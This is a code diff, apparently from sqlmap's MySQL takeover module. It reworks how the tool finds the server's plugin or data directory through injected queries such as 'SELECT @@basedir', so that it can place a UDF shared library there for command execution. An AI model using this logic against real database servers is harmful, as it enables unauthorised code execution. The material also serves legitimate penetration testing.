3838
3939class Takeover (GenericTakeover ):
4040 def __init__ (self ):
41- self .__basedir = None
42- self .__datadir = None
41+ self .__basedir = None
42+ self .__datadir = None
4343
4444 GenericTakeover .__init__ (self )
4545
@@ -48,51 +48,51 @@ def udfSetRemotePath(self):
4848
4949 banVer = kb .bannerFp ["dbmsVersion" ]
5050
51- # On Windows
52- if kb .os == "Windows" :
53- # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
54- if banVer >= "5.1.19" :
55- if self .__basedir is None :
56- logger .info ("retrieving MySQL base directory absolute path" )
51+ # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
52+ if banVer >= "5.1.19" :
53+ if self .__basedir is None :
54+ logger .info ("retrieving MySQL base directory absolute path" )
5755
58- # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
59- self .__basedir = inject .getValue ("SELECT @@basedir" )
60- self .__basedir = ntToPosixSlashes (normalizePath (self .__basedir ))
56+ # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
57+ self .__basedir = inject .getValue ("SELECT @@basedir" )
6158
62- if re .search ("^[\w]\:[\/\\ \\ ]+" , self .__basedir , re .I ):
63- kb .os = "Windows"
59+ if re .search ("^[\w]\:[\/\\ \\ ]+" , self .__basedir , re .I ):
60+ kb .os = "Windows"
61+ else :
62+ kb .os = "Linux"
6463
65- # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
66- self .udfRemoteFile = "%s/lib/plugin/%s.%s" % (self .__basedir , self .udfSharedLibName , self .udfSharedLibExt )
64+ # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
65+ if kb .os == "Windows" :
66+ self .__basedir += "/lib/plugin"
67+ else :
68+ self .__basedir += "/lib/mysql/plugin"
6769
68- logger .warn ("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self .__basedir )
70+ self .__basedir = ntToPosixSlashes (normalizePath (self .__basedir ))
71+ self .udfRemoteFile = "%s/%s.%s" % (self .__basedir , self .udfSharedLibName , self .udfSharedLibExt )
6972
70- # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
71- # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
72- else :
73- #logger.debug("retrieving MySQL data directory absolute path")
73+ logger .warn ("this will only work if the database administrator created manually the '%s' subfolder" % self .__basedir )
7474
75- # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
76- #self.__datadir = inject.getValue("SELECT @@datadir")
75+ # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
76+ # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
77+ else :
78+ #logger.debug("retrieving MySQL data directory absolute path")
7779
78- # NOTE: specifying the relative path as './udf.dll'
79- # saves in @@datadir on both MySQL 4.1 and MySQL 5.0
80- self .__datadir = "."
81- self .__datadir = ntToPosixSlashes (normalizePath (self .__datadir ))
80+ # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
81+ #self.__datadir = inject.getValue("SELECT @@datadir")
8282
83- if re .search ("[\w]\:\/" , self .__datadir , re .I ):
84- kb .os = "Windows"
83+ # NOTE: specifying the relative path as './udf.dll'
84+ # saves in @@datadir on both MySQL 4.1 and MySQL 5.0
85+ self .__datadir = "."
86+ self .__datadir = ntToPosixSlashes (normalizePath (self .__datadir ))
8587
86- # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
87- # C:\WINDOWS\system32, @@basedir\bin or @@datadir
88- self .udfRemoteFile = "%s/%s.%s" % (self .__datadir , self .udfSharedLibName , self .udfSharedLibExt )
88+ if re .search ("^[\w]\:[\/\\ \\ ]+" , self .__datadir , re .I ):
89+ kb .os = "Windows"
90+ else :
91+ kb .os = "Linux"
8992
90- # On Linux
91- else :
92- # The SO can be in either /lib, /usr/lib or one of the
93- # paths specified in /etc/ld.so.conf file, none of these
94- # paths are writable by mysql user by default
95- self .udfRemoteFile = "/usr/lib/%s.%s" % (self .udfSharedLibName , self .udfSharedLibExt )
93+ # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
94+ # C:\WINDOWS\system32, @@basedir\bin or @@datadir
95+ self .udfRemoteFile = "%s/%s.%s" % (self .__datadir , self .udfSharedLibName , self .udfSharedLibExt )
9696
9797 def udfSetLocalPaths (self ):
9898 self .udfLocalFile = paths .SQLMAP_UDF_PATH
0 commit comments